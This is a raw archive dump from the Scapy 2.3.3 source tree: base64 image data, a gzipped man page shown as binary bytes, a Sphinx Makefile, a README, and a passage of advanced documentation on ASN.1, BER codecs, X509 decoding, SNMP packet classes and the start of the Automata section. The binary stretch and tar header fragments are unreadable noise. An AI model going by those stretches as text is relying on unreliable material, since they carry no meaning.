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\nAAAASUVORK5CYII=\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 7, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 7 } ], "metadata": {} } ] }scapy-2.3.3/doc/scapy.1.gz000066400000000000000000000043101300136037300152150ustar00rootroot00000000000000Hscapy.1Xo6_0 8r7v}BZ\-Q/ߛd+@(9ͣgſ 1q1A-?u`YÙN2qzD%'Vj )3cr O\[Yzyu?W]ʵ%a, zDjfJgź*+$TEACX@٫:k ܑWUb3HMDJ,RmSa 2l K"1wGDfjVl y jU2Q"t52( YW2&34 7J-8 'ϱ+ʲrxƞWo!)&THrX(Y)<Ӱ'k8VrPJBiޔb'k-ׅ#_S1HUK%L8#A1y&H E E6! rsU)E߭YJWS_e""3{]b;(PXCmpz) EyߨHpW$(UJmU(A84D"T]e,P:Zq gmXxwxwAvN"1d[o L!qKb;j\+}6pIZy.^w6.v mY~[ia{xԞr,OۃjY ʥյN"(.j6f~R}p2Ez]PgMB3"4*IcrHGҸMAA@"ۨPpcte~s02=bN 7AI|Ejvzd.S8 r)®E$ѧrPik\'y&]2 ^Kjdk/ï7 ؟R6E٩ 2d2#># VzwiRL ZrMm.r7Qf@T3C։˧xnZNymvS[JE=vL.ȝ.~Yjz3nʫ}r-67z`pԾ82SfOh ހܢWYC. _(w ]O>լTl2RPeR+NVwe4~}Ě3dI$)˓V.SܜSmLwvnn;x<(G新d$z9 bv\xT6Qw_>t?~u|"K9C8m"+-gjL,/k< T"Kǎ݁,[ NJDcEo5qA-j~bo"`Y_3/;ށGѦ!&*kdJ+"_ZT$fCaml3g*z8"Q}Y}^q0GjcOHgfs YѬXՔB)&#~3>?}畾(Uscapy-2.3.3/doc/scapy/000077500000000000000000000000001300136037300145165ustar00rootroot00000000000000scapy-2.3.3/doc/scapy/Makefile000066400000000000000000000043401300136037300161570ustar00rootroot00000000000000# Makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d _build/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . .PHONY: help clean html web pickle htmlhelp latex changes linkcheck help: @echo "Please use \`make ' where is one of" @echo " html to make standalone HTML files" @echo " pickle to make pickle files (usable by e.g. sphinx-web)" @echo " htmlhelp to make HTML files and a HTML help project" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " changes to make an overview over all changed/added/deprecated items" @echo " linkcheck to check all external links for integrity" clean: -rm -rf _build/* html: mkdir -p _build/html _build/doctrees $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) _build/html @echo @echo "Build finished. The HTML pages are in _build/html." pickle: mkdir -p _build/pickle _build/doctrees $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) _build/pickle @echo @echo "Build finished; now you can process the pickle files or run" @echo " sphinx-web _build/pickle" @echo "to start the sphinx-web server." web: pickle htmlhelp: mkdir -p _build/htmlhelp _build/doctrees $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) _build/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in _build/htmlhelp." latex: mkdir -p _build/latex _build/doctrees $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) _build/latex @echo @echo "Build finished; the LaTeX files are in _build/latex." @echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \ "run these through (pdf)latex." changes: mkdir -p _build/changes _build/doctrees $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) _build/changes @echo @echo "The overview file is in _build/changes." linkcheck: mkdir -p _build/linkcheck _build/doctrees $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) _build/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in _build/linkcheck/output.txt." scapy-2.3.3/doc/scapy/README000066400000000000000000000013211300136037300153730ustar00rootroot00000000000000This folder includes source files (text and graphics) for Scapy's documentation, which is automatically built using Sphinx The *.rst files are written as reStructuredText and should be quite readable in your favourite text editor without any further formatting. To generate much nicer, searchable HTML docs, install Sphinx, open a command line, change to the directory where this README is placed, and type the following command: $ make html To generate a single PDF file (useful for printing) you need a working LaTeX installation (e.g. ). The following commands produce the file Scapy.pdf (>100 pages): $ make latex $ cd _build/latex $ make all-pdfscapy-2.3.3/doc/scapy/_static/000077500000000000000000000000001300136037300161445ustar00rootroot00000000000000scapy-2.3.3/doc/scapy/_static/_dummy000066400000000000000000000000001300136037300173470ustar00rootroot00000000000000scapy-2.3.3/doc/scapy/_templates/000077500000000000000000000000001300136037300166535ustar00rootroot00000000000000scapy-2.3.3/doc/scapy/_templates/_dummy000066400000000000000000000000001300136037300200560ustar00rootroot00000000000000scapy-2.3.3/doc/scapy/advanced_usage.rst000066400000000000000000001440611300136037300202070ustar00rootroot00000000000000************** Advanced usage ************** ASN.1 and SNMP ============== What is ASN.1? -------------- .. note:: This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet. ASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules. The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes and signatures. ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes. Each of theses objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version. Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc. Scapy and ASN.1 --------------- Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite more lax than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those. ASN.1 engine ^^^^^^^^^^^^ Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behaviour. `` Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects. :: class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" # [...] BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 # [...] class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 # [...] All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple:: class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING These instances can be assembled to create an ASN.1 tree:: >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])]) >>> x , , ]]>]]> >>> x.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: Encoding engines ^^^^^^^^^^^^^^^^^ As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec. Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type:: >>> BERcodec_INTEGER.enc(7) '\x02\x01\x07' >>> BERcodec_BIT_STRING.enc("egg") '\x03\x03egg' >>> BERcodec_STRING.enc("egg") '\x04\x03egg' >>> BERcodec_STRING.dec('\x04\x03egg') (, '') >>> BERcodec_STRING.dec('\x03\x03egg') Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2178, in do_dec l,s,t = cls.check_type_check_len(s) File "/usr/bin/scapy", line 2076, in check_type_check_len l,s3 = cls.check_type_get_len(s) File "/usr/bin/scapy", line 2069, in check_type_get_len s2 = cls.check_type(s) File "/usr/bin/scapy", line 2065, in check_type (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting ### Already decoded ### None ### Remaining ### '\x03\x03egg' >>> BERcodec_Object.dec('\x03\x03egg') (, '') ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``str()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used. :: >>> x.enc(ASN1_Codecs.BER) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> str(x) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> xx,remain = BERcodec_Object.dec(_) >>> xx.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: >>> remain '' By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context! :: >>> cert=""" ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0 ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0 ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/ ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5 ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41 ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg= ... """.decode("base64") >>> (dcert,remain) = BERcodec_Object.dec(cert) Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2092, in do_dec raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...'] ### Already decoded ### [[]] ### Remaining ### '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509) >>> dcert.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT0: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT3: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: \xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01 ASN.1 layers ^^^^^^^^^^^^ While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet. ASN.1 fields ~~~~~~~~~~~~ Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it). Each ASN.1 field is linked to an ASN.1 object through its tag. ASN.1 packets ~~~~~~~~~~~~~ ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields. A complete example: SNMP ------------------------ SNMP defines new ASN.1 objects. We need to define them:: class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic:: class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other. The ASN.1 fields are also trivial:: class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT # [...] Now, the hard part, the ASN.1 packet:: SNMP_error = { 0: "no_error", 1: "too_big", # [...] } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", # [...] } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) # [...] class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) # [...] bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may may have cut too much, just look at the complete source code. Now, how to use it? As usual:: >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5), ... SNMPvarbind(oid="3.2.1",value="hello")])) >>> a.show() ###[ SNMP ]### version= v3 community= 'public' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= '1.2.3' | | value= 5 | |###[ SNMPvarbind ]### | | oid= '3.2.1' | | value= 'hello' >>> hexdump(a) 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!. 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*. 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello >>> send(IP(dst="1.2.3.4")/UDP()/SNMP()) . Sent 1 packets. >>> SNMP(str(a)).show() ###[ SNMP ]### version= community= \PDU\ |###[ SNMPget ]### | id= | error= | error_index= | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= | | value= | |###[ SNMPvarbind ]### | | oid= | | value= Resolving OID from a MIB ------------------------ About OID objects ^^^^^^^^^^^^^^^^^ OID objects are created with an ``ASN1_OID`` class:: >>> o1=ASN1_OID("2.5.29.10") >>> o2=ASN1_OID("1.2.840.113549.1.1.1") >>> o1,o2 (, ) Loading a MIB ^^^^^^^^^^^^^ Scapy can parse MIB files and become aware of a mapping between an OID and its name:: >>> load_mib("mib/*") >>> o1,o2 (, ) The MIB files I've used are attached to this page. Scapy's MIB database ^^^^^^^^^^^^^^^^^^^^ All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name :: >>> conf.mib.sha1_with_rsa_signature '1.2.840.113549.1.1.5' or to resolve an OID:: >>> conf.mib._oidname("1.2.3.6.1.4.1.5") 'enterprises.5' It is even possible to graph it:: >>> conf.mib._make_graph() Automata ======== Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose you way to go. An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions and from transitions to states and actions. From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work. First example ------------- Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well. :: class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): print 